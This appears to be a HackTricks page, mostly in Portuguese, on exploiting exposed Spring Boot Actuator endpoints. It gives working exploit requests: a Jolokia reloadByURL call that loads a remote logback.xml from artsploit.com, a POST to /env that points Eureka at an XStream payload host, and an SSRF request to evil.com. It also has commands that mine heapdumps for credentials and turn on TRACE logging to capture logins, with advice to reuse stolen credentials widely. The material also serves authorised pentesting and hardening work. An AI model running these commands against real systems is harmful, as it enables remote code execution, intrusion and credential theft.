Spring Actuators

Reading time: 7 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Spring Auth Bypass

De https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png

Explorando Spring Boot Actuators

Confira o post original em [https://www.veracode.com/blog/research/exploiting-spring-boot-actuators]

Pontos principais:

  • Spring Boot Actuators registram endpoints como /health, /trace, /beans, /env, etc. Nas versões 1 até 1.4, esses endpoints são acessíveis sem autenticação. A partir da versão 1.5, apenas /health e /info são não sensíveis por padrão, mas desenvolvedores frequentemente desativam essa segurança.
  • Certos endpoints do Actuator podem expor dados sensíveis ou permitir ações prejudiciais:
  • /dump, /trace, /logfile, /shutdown, /mappings, /env, /actuator/env, /restart, and /heapdump.
  • No Spring Boot 1.x, actuators são registrados sob a URL raiz, enquanto no 2.x, eles ficam sob o caminho base /actuator/.

Exploitation Techniques:

  1. Remote Code Execution via '/jolokia':
  • O endpoint /jolokia expõe a Jolokia Library, que permite acesso HTTP a MBeans.
  • A ação reloadByURL pode ser explorada para recarregar configurações de logging a partir de uma URL externa, o que pode levar a blind XXE ou Remote Code Execution via configurações XML forjadas.
  • Example exploit URL: http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml.
  1. Config Modification via '/env':
  • Se as Spring Cloud Libraries estiverem presentes, o endpoint /env permite modificação de propriedades de ambiente.
  • Propriedades podem ser manipuladas para explorar vulnerabilidades, como a vulnerabilidade de desserialização do XStream no serviceURL do Eureka.
  • Example exploit POST request:
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65

eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
  1. Other Useful Settings:
  • Propriedades como spring.datasource.tomcat.validationQuery, spring.datasource.tomcat.url, e spring.datasource.tomcat.max-active podem ser manipuladas para vários exploits, como SQL injection ou alterar strings de conexão com o banco de dados.

Informações Adicionais:

  • Uma lista abrangente dos actuators padrão pode ser encontrada aqui.
  • O endpoint /env no Spring Boot 2.x usa formato JSON para modificação de propriedades, mas o conceito geral permanece o mesmo.

Tópicos Relacionados:

  1. Env + H2 RCE:
  • Detalhes sobre explorar a combinação do endpoint /env e do banco H2 podem ser encontrados aqui.
  1. SSRF on Spring Boot Through Incorrect Pathname Interpretation:
  • O tratamento, pelo framework Spring, de matrix parameters (;) em pathnames HTTP pode ser explorado para Server-Side Request Forgery (SSRF).
  • Example exploit request:
http
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

HeapDump secrets mining (credentials, tokens, internal URLs)

If /actuator/heapdump is exposed, you can usually retrieve a full JVM heap snapshot that frequently contains live secrets (DB creds, API keys, Basic-Auth, internal service URLs, Spring property maps, etc.).

  • Download and quick triage:
bash
wget http://target/actuator/heapdump -O heapdump
# Quick wins: look for HTTP auth and JDBC
strings -a heapdump | grep -nE 'Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client'
# Decode any Basic credentials you find
printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d
  • Análise mais profunda com VisualVM e OQL:
  • Abra o heapdump no VisualVM, inspecione instâncias de java.lang.String ou execute OQL para caçar segredos:
select s.toString()
from java.lang.String s
where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|OriginTrackedMapPropertySource/i.test(s.toString())
  • Extração automatizada com JDumpSpider:
bash
java -jar JDumpSpider-*.jar heapdump

Achados típicos de alto valor:

  • Objetos Spring DataSourceProperties / HikariDataSource expondo url, username, password.
  • Entradas OriginTrackedMapPropertySource revelando management.endpoints.web.exposure.include, portas de serviço e Basic-Auth embutido em URLs (por exemplo, Eureka defaultZone).
  • Fragmentos em texto plano de requisições/respostas HTTP incluindo Authorization: Basic ... capturados na memória.

Dicas:

  • Use uma wordlist focada em Spring para descobrir endpoints do actuator rapidamente (por exemplo, SecLists spring-boot.txt) e sempre verifique se /actuator/logfile, /actuator/httpexchanges, /actuator/env e /actuator/configprops também estão expostos.
  • Credenciais do heapdump frequentemente funcionam para serviços adjacentes e às vezes para usuários do sistema (SSH), então teste amplamente.

Abusing Actuator loggers/logging to capture credentials

If management.endpoints.web.exposure.include allows it and /actuator/loggers is exposed, you can dynamically increase log levels to DEBUG/TRACE for packages that handle authentication and request processing. Combined with readable logs (via /actuator/logfile or known log paths), this can leak credentials submitted during login flows (e.g., Basic-Auth headers or form parameters).

  • Enumere e aumente loggers sensíveis:
bash
# List available loggers
curl -s http://target/actuator/loggers | jq .

# Enable very verbose logs for security/web stacks (adjust as needed)
curl -s -X POST http://target/actuator/loggers/org.springframework.security \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
curl -s -X POST http://target/actuator/loggers/org.springframework.web \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
curl -s -X POST http://target/actuator/loggers/org.springframework.cloud.gateway \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
  • Encontre onde os logs são escritos e colete:
bash
# If exposed, read from Actuator directly
curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|username=|password='

# Otherwise, query env/config to locate file path
curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))'
  • Gere tráfego de login/autenticação e analise o log em busca de creds. Em setups de microserviços com um gateway na frente da autenticação, habilitar TRACE para pacotes de gateway/security frequentemente torna headers e corpos de formulário visíveis. Alguns ambientes até geram tráfego de login sintético periodicamente, tornando a coleta trivial uma vez que os logs estão verbosos.

Notas:

  • Restaure os níveis de log ao terminar: POST /actuator/loggers/<logger> com { "configuredLevel": null }.
  • Se /actuator/httpexchanges estiver exposto, ele também pode expor metadados de requisições recentes que podem incluir cabeçalhos sensíveis.

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks